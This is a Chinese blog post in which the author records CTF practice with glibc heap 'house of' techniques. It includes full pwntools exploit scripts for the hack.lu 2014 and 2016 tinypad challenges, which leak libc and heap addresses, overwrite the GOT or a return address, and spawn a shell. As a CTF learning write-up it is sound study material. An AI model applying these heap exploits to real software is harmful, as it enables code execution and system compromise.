PWN学习之house of系列

最近 在wiki学习了 house of 这些东西 但是一直都没有找到联系的地方,

然后 在一篇博客上发现了上面有讲东西并且练习题 很好

所以我就拿来联系了一把  并且记录一下 大概思路

house of spirit

 

 

这个wiki上好像没有   但是利用方法其实还是差不多的

这个主要就是 fastbin的利用   伪造一个堆块 然后让  free到这个堆块 让 伪造堆块进入fasebin的里面  然后达到自己想要的结果

然后根据这个博客的例题来增加一下自己的了解

hack.lu 2014 ctf

这个题目 看一下数据结构

 然后看一下ida 的主要逻辑结构

扫描二维码关注公众号,回复: 8960318 查看本文章

 然后找到 漏洞点

发现name 还有 desc 可以 写很多的地方 这里就可以利用这里来伪造堆块达到 想要的目的。

比如 可以覆盖 list_addr指针   利用这个指针 可以泄露基址 还有free到我们想要的伪造堆块

这道题没有开pie     这里有几个变量

 我们可以把 list_sum  修改成 0x41  (一直add 就可以了)

然后把堆块申请到 a0 哪里 然后可以通过  submit_order 来修改got表 拿到shell

exp 如下

#!/usr/bin/env python
# -*- coding=utf-8 -*-

from pwn import *

context.log_level = "debug"
io = process("./pwn",stdin=PTY)
elf=ELF("./pwn")
libc=elf.libc

def add(name, descrip):
	io.recvuntil("Action:")
	io.sendline("1")
	io.recvuntil("name:")
	io.sendline(name)
	io.recvuntil("description:")
	io.sendline(descrip)

def show():
	io.recvuntil("Action:")
	io.sendline("2")
	io.recvuntil("Name: ")

def dele():
	io.recvuntil("Action:")
	io.sendline("3")

def leave(message):
	io.recvuntil("Action:")
	io.sendline("4")
	io.recvuntil("order: ")
	io.sendline(message)


sscanf_got = 0x804A258
fake_heap = 0x804A2A0

if __name__ =="__main__":
	payload='a'*27+p32(sscanf_got-0x19)

	add(payload,'ppx')
	show()
	io.recvuntil('Name: ')
	sscanf_addr=u32(io.recv(4))
	libc_base_addr=sscanf_addr-libc.sym['__isoc99_sscanf']
	log.success("libc_base_addr "+hex(libc_base_addr))

	for i in range(0x40-1):
		add(chr(i)*5,'ppx')

	payload='a'*27+p32(fake_heap+8)

	add(payload,'ppx')

	payload='\x00'*36+p32(0x41)

	leave(payload)

	dele()

	add('ppx',p32(sscanf_got))
	system_addr=libc.sym['system']+libc_base_addr
	leave(p32(system_addr))

	io.sendline("/bin/sh;")

	io.interactive()
	io.close()

	


house of force

这个题 在以前写过 链接

https://blog.csdn.net/qq_41071646/article/details/98492466 

这个堆块利用方法就是 修改top chunks的size  达到任意读/写的功能

house of einherjar

这个题目的利用,,

这个利用方法还是和 top chunk  有关系的  然后题目是

2016年Second ctf tinypad

这个题目 其实 让我很头大,,,  在ida 里面看的很恶心,

不过自己运行一遍 然后 再看的话 就逻辑比较明朗了

值得一提的是 这个 题目没有开PIE 但是不能修改got表

可以把计算出one_gadget的地址,然后把ret __libc_start_main  修改成one_gadget的地址

问题就是怎么泄露 基址 还有 heap 的基址

其实这里很好泄露 因为  这里 的dele

并没有把用户指针给 清除 那么就可以直接打印出我们free 掉的堆块值的指针,,

这个很好写  其中我自己写的时候  先dele的 3  导致堆块的基址 没有办法泄露

然后 堆块的的大小  我一开始也是很随意的定义,

发现了  第二个堆块 必须 0xf0 或者 0xf8

然后这里 原因感觉有点迷糊,,

然后 其它就很好说了  伪造堆块 到 tinypad 

其它都是一把梭了

下面是 exp

#!/usr/bin/env python2
# -*- coding=utf-8 -*-

from pwn import *

io=process("./pwn")
elf=ELF("./pwn")
libc=elf.libc

context.log_level='debug'

def add(size, content):
	io.readuntil("(CMD)>>>")
	io.sendline("a")
	io.readuntil("(SIZE)>>>")
	io.sendline(str(size))
	io.readuntil("(CONTENT)>>>")
	io.sendline(content)

def dele(index):
	io.readuntil("(CMD)>>>")
	io.sendline("d")
	io.readuntil("(INDEX)>>>")
	io.sendline(str(index))

def edit(index, content):
	io.readuntil("(CMD)>>>")
	io.sendline("e")
	io.readuntil("(INDEX)>>>")
	io.sendline(str(index)) 
	io.readuntil("(CONTENT)>>>")
	io.sendline(content)
	io.readuntil("(Y/n)>>>")
	io.sendline("y")


if __name__ =="__main__":
	add(0xe0,'a'*10)
	add(0xf8,'b'*0xf0)
	add(0x100,'c'*0xf0)
	add(0x100,'d'*10)
	dele(3)
	dele(1)

	io.recvuntil("INDEX: 1")
	io.recvuntil("CONTENT: ")
	heap_base=u64(io.recvline().rstrip().ljust(8,'\x00'))-0x1f0
	log.success("heap_base "+hex(heap_base))


	io.recvuntil("INDEX: 3")
	io.recvuntil("CONTENT: ")
	main_arena=u64(io.recv(6).ljust(8,'\x00'))
	libc_base_addr=main_arena-88-0x3C4B20
	gadget_addr=libc_base_addr+0x45216
	log.success("libc_base_addr "+hex(libc_base_addr))

	offest_size=heap_base+0xf0-0x602040
	print hex(offest_size)

	payload='f'*0xe0+p64(offest_size)
	add(0xe8,payload)
	#gdb.attach(io)
	#pause()

	dele(4)
	#dele(3)

	payload=p64(0x100) + p64(offest_size) + p64(0x602040)*4

	edit(2,payload)
	#gdb.attach(io)
	#pause()
	dele(2)

	add(0xe0,'e'*0xd0)
	#gdb.attach(io)
	#pause()
	payload = p64(0xe8) + p64(libc_base_addr + libc.symbols["__environ"])
	payload += p64(0xe8) + p64(0x602148)

	add(0x100,payload)

	io.recvuntil("# CONTENT: ")
	stack_env =u64(io.recv(6).ljust(8,'\x00'))

	edit(2, p64(stack_env-240))
	edit(1, p64(gadget_addr))

	io.recvuntil("(CMD)>>>")
	io.sendline("Q")

	#gdb.attach(io)
	#pause()
	#print io.recv()


	io.interactive()
	io.close()



	

再次感谢 下面链接的作者

下面的目标是 看0days 的书 希望能复现一些 CVE

参考链接

https://paper.seebug.org/521/#house-of-spirit

发布了313 篇原创文章 · 获赞 44 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/98987221